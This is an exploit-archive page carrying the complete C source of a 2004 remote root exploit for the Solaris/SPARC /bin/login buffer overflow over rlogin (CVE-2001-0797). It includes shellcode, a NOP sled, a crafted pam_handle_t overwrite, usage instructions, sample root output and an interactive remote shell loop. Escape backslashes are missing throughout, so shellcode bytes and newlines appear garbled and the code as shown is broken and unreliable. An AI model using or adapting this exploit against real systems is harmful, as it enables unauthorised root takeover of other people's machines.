[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Solaris 2.5.1/2.6/7/8 rlogin /bin/login Buffer Overflow Exploit (SPARC)
# Published : 2004-12-24
# Author : Marco Ivaldi
# Previous Title : Netcat v1.1 "-e" Switch Remote Buffer Overflow Exploit
# Next Title : SHOUTcast DNAS/Linux 1.9.4 Format String Remote Exploit
/*
* $Id: raptor_rlogin.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
*
* raptor_rlogin.c - (r)login, Solaris/SPARC 2.5.1/2.6/7/8
* Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Buffer overflow in login in various System V based operating systems
* allows remote attackers to execute arbitrary commands via a large number
* of arguments through services such as telnet and rlogin (CVE-2001-0797).
*
* Dedicated to my beautiful croatian ladies (hello Zrinka!) -- August 2004
*
* This remote root exploit uses the (old) System V based /bin/login
* vulnerability via the rlogin attack vector, returning into the .bss
* section to effectively bypass the non-executable stack protection
* (noexec_user_stack=1 in /etc/system).
*
* Many thanks to scut <scut@nb.in-berlin.de> (0dd) for his elite pam_handle_t
* technique (see 7350logout.c), also thanks to inode <inode@deadlocks.info>.
*
* Usage (must be root):
* # gcc raptor_rlogin.c -o raptor_rlogin -Wall
* [on solaris: gcc raptor_rlogin.c -o raptor_rlogin -Wall -lxnet]
* # ./raptor_rlogin -h 192.168.0.50
* [...]
* # id;uname -a;uptime;
* uid=0(root) gid=0(root)
* SunOS merlino 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10
* 7:45pm up 12 day(s), 18:42, 1 user, load average: 0.00, 0.00, 0.01
* #
*
* Vulnerable platforms (SPARC):
* Solaris 2.5.1 without patch 106160-02 [untested]
* Solaris 2.6 without patch 105665-04 [untested]
* Solaris 7 without patch 112300-01 [untested]
* Solaris 8 without patch 111085-02 [tested]
*/
#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define INFO1 "raptor_rlogin.c - (r)login, Solaris/SPARC 2.5.1/2.6/7/8"
#define INFO2 "Copyright (c) 2004 Marco Ivaldi <raptor@0xdeadbeef.info>"
#define BUFSIZE 3000 // max size of the evil buffer
#define RETADDR 0x27184 // retaddr, should be reliable
#define TIMEOUT 10 // net_read() default timeout
#define CMD "id;uname -a;uptime;n" // executed upon exploitation
char sc[] = /* Solaris/SPARC special shellcode (courtesy of inode) */
/* execve() + exit() */
"x94x10x20x00x21x0bxd8x9axa0x14x21x6ex23x0bxcbxdc"
"xa2x14x63x68xd4x23xbfxfcxe2x23xbfxf8xe0x23xbfxf4"
"x90x23xa0x0cxd4x23xbfxf0xd0x23xbfxecx92x23xa0x14"
"x82x10x20x3bx91xd0x20x08x82x10x20x01x91xd0x20x08";
char sparc_nop[] = /* Solaris/SPARC special nop (xor %sp, %sp, %o0) */
"x90x1bx80x0e";
/* prototypes */
int exploit_addchar(unsigned char *ww, unsigned char wc);
void fatalerr(char *func, char *error, int fd);
int net_connect(char *host, int port, int timeout);
int net_read(int fd, char *buf, int size, int timeout);
int net_resolve(char *host);
int sc_copy(unsigned char *buf, char *str, long len);
void set_val(char *buf, int pos, int val);
void shell(int fd);
void usage(char *progname);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], *p = buf;
char c, *host = NULL, term[] = "vt100/9600";
int fd, i, found, len;
int timeout = TIMEOUT, debug = 0;
/* print exploit information */
fprintf(stderr, "%sn%snn", INFO1, INFO2);
/* parse command line */
if (argc < 2)
usage(argv[0]);
while ((c = getopt(argc, argv, "dh:t:")) != EOF)
switch(c) {
case 'h':
host = optarg;
break;
case 't':
timeout = atoi(optarg);
break;
case 'd':
debug = 1;
break;
default:
usage(argv[0]);
}
if (!host)
usage(argv[0]);
/* connect to the target host */
fd = net_connect(host, 513, 10);
fprintf(stderr, "# connected to remote host: %sn", host);
/* signal handling */
signal(SIGPIPE, SIG_IGN);
/* begin the rlogin session */
memset(buf, 0, sizeof(buf));
if (send(fd, buf, 1, 0) < 0)
fatalerr("send", strerror(errno), fd);
if (net_read(fd, buf, sizeof(buf), timeout) < 0)
fatalerr("error", "Timeout reached in rlogin session", fd);
/* dummy rlogin authentication */
memcpy(p, "foo", 3); // local login name
p += 4;
memcpy(p, "bar", 3); // remote login name
p += 4;
memcpy(p, term, sizeof(term)); // terminal type
p += sizeof(term);
fprintf(stderr, "# performing dummy rlogin authenticationn");
if (send(fd, buf, p - buf, 0) < 0)
fatalerr("send", strerror(errno), fd);
/* wait for password prompt */
found = 0;
memset(buf, 0, sizeof(buf));
while (net_read(fd, buf, sizeof(buf), timeout)) {
if (strstr(buf, "assword: ") != NULL) {
found = 1;
break;
}
memset(buf, 0, sizeof(buf));
}
if (!found)
fatalerr("error", "Timeout waiting for password prompt", fd);
/* send a dummy password */
if (send(fd, "passn", 5, 0) < 0)
fatalerr("send", strerror(errno), fd);
/* wait for login prompt */
found = 0;
memset(buf, 0, sizeof(buf));
fprintf(stderr, "# waiting for login promptn");
while (net_read(fd, buf, sizeof(buf), timeout)) {
if (strstr(buf, "ogin: ") != NULL) {
found = 1;
break;
}
memset(buf, 0, sizeof(buf));
}
if (!found)
fatalerr("error", "Timeout waiting for login prompt", fd);
fprintf(stderr, "# returning into 0x%08xn", RETADDR);
/* for debugging purposes */
if (debug) {
printf("# debug: press enter to continue");
scanf("%c", &c);
}
/* prepare the evil buffer */
memset(buf, 0, sizeof(buf));
p = buf;
/* login name */
memcpy(p, "foo ", 4);
p += 4;
/* return address (env) */
set_val(p, 0, RETADDR);
p += 4;
memcpy(p, " ", 1);
p++;
/* trigger the overflow (env) */
for (i = 0; i < 60; i++, p += 2)
memcpy(p, "a ", 2);
/* padding */
memcpy(p, " BBB", 4);
p += 4;
/* nop sled and shellcode */
for (i = 0; i < 398; i++, p += 4)
memcpy(p, sparc_nop, 4);
p += sc_copy(p, sc, sizeof(sc) - 1);
/* padding */
memcpy(p, "BBB ", 4);
p += 4;
/* pam_handle_t: minimal header */
memcpy(p, "CCCCCCCCCCCCCCCC", 16);
p += 16;
set_val(p, 0, RETADDR); // must be a valid address
p += 4;
set_val(p, 0, 0x01);
p += 4;
/* pam_handle_t: NULL padding */
for (i = 0; i < 52; i++, p += 4)
set_val(p, 0, 0x00);
/* pam_handle_t: pameptr must be the 65th ptr */
memcpy(p, "x00x00x00 AAAAn", 9);
p += 9;
/* send the evil buffer, 256 chars a time */
len = p - buf;
p = buf;
while (len > 0) {
fprintf(stderr, "#");
i = len > 0x100 ? 0x100 : len;
send(fd, p, i, 0);
len -= i;
p += i;
if (len)
send(fd, "x04", 1, 0);
usleep(500000);
}
fprintf(stderr, "n");
/* wait for password prompt */
found = 0;
memset(buf, 0, sizeof(buf));
fprintf(stderr, "# evil buffer sent, waiting for password promptn");
while (net_read(fd, buf, sizeof(buf), timeout)) {
if (strstr(buf, "assword: ") != NULL) {
found = 1;
break;
}
memset(buf, 0, sizeof(buf));
}
if (!found)
fatalerr("error", "Most likely not vulnerable", fd);
fprintf(stderr, "# password prompt received, waiting for shelln");
if (send(fd, "passn", 5, 0) < 0)
fatalerr("send", strerror(errno), fd);
/* wait for shell prompt */
memset(buf, 0, sizeof(buf));
found = 0;
while (net_read(fd, buf, sizeof(buf), timeout)) {
if (strstr(buf, "# ") != NULL) {
found = 1;
break;
}
memset(buf, 0, sizeof(buf));
}
if (!found)
fatalerr("error", "Most likely not vulnerable", fd);
/* connect to the remote shell */
fprintf(stderr, "# shell prompt detected, successful exploitationnn");
shell(fd);
exit(0);
}
/*
* exploit_addchar(): char translation for pam (ripped from scut)
*/
int exploit_addchar(unsigned char *ww, unsigned char wc)
{
unsigned char * wwo = ww;
switch (wc) {
case ('\'):
*ww++ = '\';
*ww++ = '\';
break;
case (0xff):
case ('n'):
case (' '):
case ('t'):
*ww++ = '\';
*ww++ = ((wc & 0300) >> 6) + '0';
*ww++ = ((wc & 0070) >> 3) + '0';
*ww++ = (wc & 0007) + '0';
break;
default:
*ww++ = wc;
break;
}
return (ww - wwo);
}
/*
* fatalerr(): error handling routine
*/
void fatalerr(char *func, char *error, int fd)
{
fprintf(stderr, "%s: %sn", func, error);
close(fd);
exit(1);
}
/*
* net_connect(): simple network connect with timeout
*/
int net_connect(char *host, int port, int timeout)
{
int fd, i, flags, sock_len;
struct sockaddr_in sin;
struct timeval tv;
fd_set fds;
/* allocate a socket */
if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
perror("socket");
exit(1);
}
/* bind a privileged port (FIXME) */
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(INADDR_ANY);
for (i = 1023; i > 0; i--) {
sin.sin_port = htons(i);
if (!(bind(fd, (struct sockaddr *)&sin, sizeof(sin))))
break;
}
if (i == 0)
fatalerr("error", "Can't bind a privileged port (must be root)", fd);
/* resolve the peer address */
sin.sin_port = htons(port);
if (!(sin.sin_addr.s_addr = net_resolve(host)))
fatalerr("error", "Can't resolve hostname", fd);
/* set non-blocking */
if ((flags = fcntl(fd, F_GETFL, 0)) < 0)
fatalerr("fcntl", strerror(errno), fd);
if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0)
fatalerr("fcntl", strerror(errno), fd);
/* connect to remote host */
if (!(connect(fd, (struct sockaddr *)&sin, sizeof(sin)))) {
if (fcntl(fd, F_SETFL, flags) < 0)
fatalerr("fcntl", strerror(errno), fd);
return(fd);
}
if (errno != EINPROGRESS)
fatalerr("error", "Can't connect to remote host", fd);
/* set timeout */
tv.tv_sec = timeout;
tv.tv_usec = 0;
/* setup select structs */
FD_ZERO(&fds);
FD_SET(fd, &fds);
/* select */
if (select(FD_SETSIZE, NULL, &fds, NULL, &tv) <= 0)
fatalerr("error", "Can't connect to remote host", fd);
/* check if connected */
sock_len = sizeof(sin);
if (getpeername(fd, (struct sockaddr *)&sin, &sock_len) < 0)
fatalerr("error", "Can't connect to remote host", fd);
if (fcntl(fd, F_SETFL, flags) < 0)
fatalerr("fcntl", strerror(errno), fd);
return(fd);
}
/*
* net_read(): non-blocking read from fd
*/
int net_read(int fd, char *buf, int size, int timeout)
{
fd_set fds;
struct timeval wait;
int n = -1;
/* set timeout */
wait.tv_sec = timeout;
wait.tv_usec = 0;
memset(buf, 0, size);
FD_ZERO(&fds);
FD_SET(fd, &fds);
/* select with timeout */
if (select(FD_SETSIZE, &fds, NULL, NULL, &wait) < 0) {
perror("select");
exit(1);
}
/* read data if any */
if (FD_ISSET(fd, &fds))
n = read(fd, buf, size);
return n;
}
/*
* net_resolve(): simple network resolver
*/
int net_resolve(char *host)
{
struct in_addr addr;
struct hostent *he;
memset(&addr, 0, sizeof(addr));
if ((addr.s_addr = inet_addr(host)) == -1) {
if (!(he = (struct hostent *)gethostbyname(host)))
return(0);
memcpy((char *)&addr.s_addr, he->h_addr, he->h_length);
}
return(addr.s_addr);
}
/*
* sc_copy(): copy the shellcode, using exploit_addchar()
*/
int sc_copy(unsigned char *buf, char *str, long len)
{
unsigned char *or = buf;
int i;
for(i = 0; i < len; i++)
buf += exploit_addchar(buf, str[i]);
return(buf - or);
}
/*
* set_val(): copy a dword inside a buffer
*/
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0xff000000) >> 24;
buf[pos + 1] = (val & 0x00ff0000) >> 16;
buf[pos + 2] = (val & 0x0000ff00) >> 8;
buf[pos + 3] = (val & 0x000000ff);
}
/*
* shell(): semi-interactive shell hack
*/
void shell(int fd)
{
fd_set fds;
char tmp[128];
int n;
/* quote Hvar 2004 */
fprintf(stderr, ""Da Bog da ti se mamica nahitavala s vragom po dvoristu!" -- Bozica (Hrvatska)nn");
/* execute auto commands */
write(1, "# ", 2);
write(fd, CMD, strlen(CMD));
/* semi-interactive shell */
for (;;) {
FD_ZERO(&fds);
FD_SET(fd, &fds);
FD_SET(0, &fds);
if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) {
perror("select");
break;
}
/* read from fd and write to stdout */
if (FD_ISSET(fd, &fds)) {
if ((n = read(fd, tmp, sizeof(tmp))) < 0) {
fprintf(stderr, "Goodbye...n");
break;
}
if (write(1, tmp, n) < 0) {
perror("write");
break;
}
}
/* read from stdin and write to fd */
if (FD_ISSET(0, &fds)) {
if ((n = read(0, tmp, sizeof(tmp))) < 0) {
perror("read");
break;
}
if (write(fd, tmp, n) < 0) {
perror("write");
break;
}
}
}
close(fd);
exit(1);
}
void usage(char *progname)
{
fprintf(stderr, "usage: %s [-h host] [-t timeout] [-d]nn", progname);
fprintf(stderr, "-h hostttdestination ip or fqdnn");
fprintf(stderr, "-t timeouttnet_read() timeout (default: %d)n", TIMEOUT);
fprintf(stderr, "-dttturn on debug modenn");
exit(1);
}
// www.Syue.com [2004-12-24]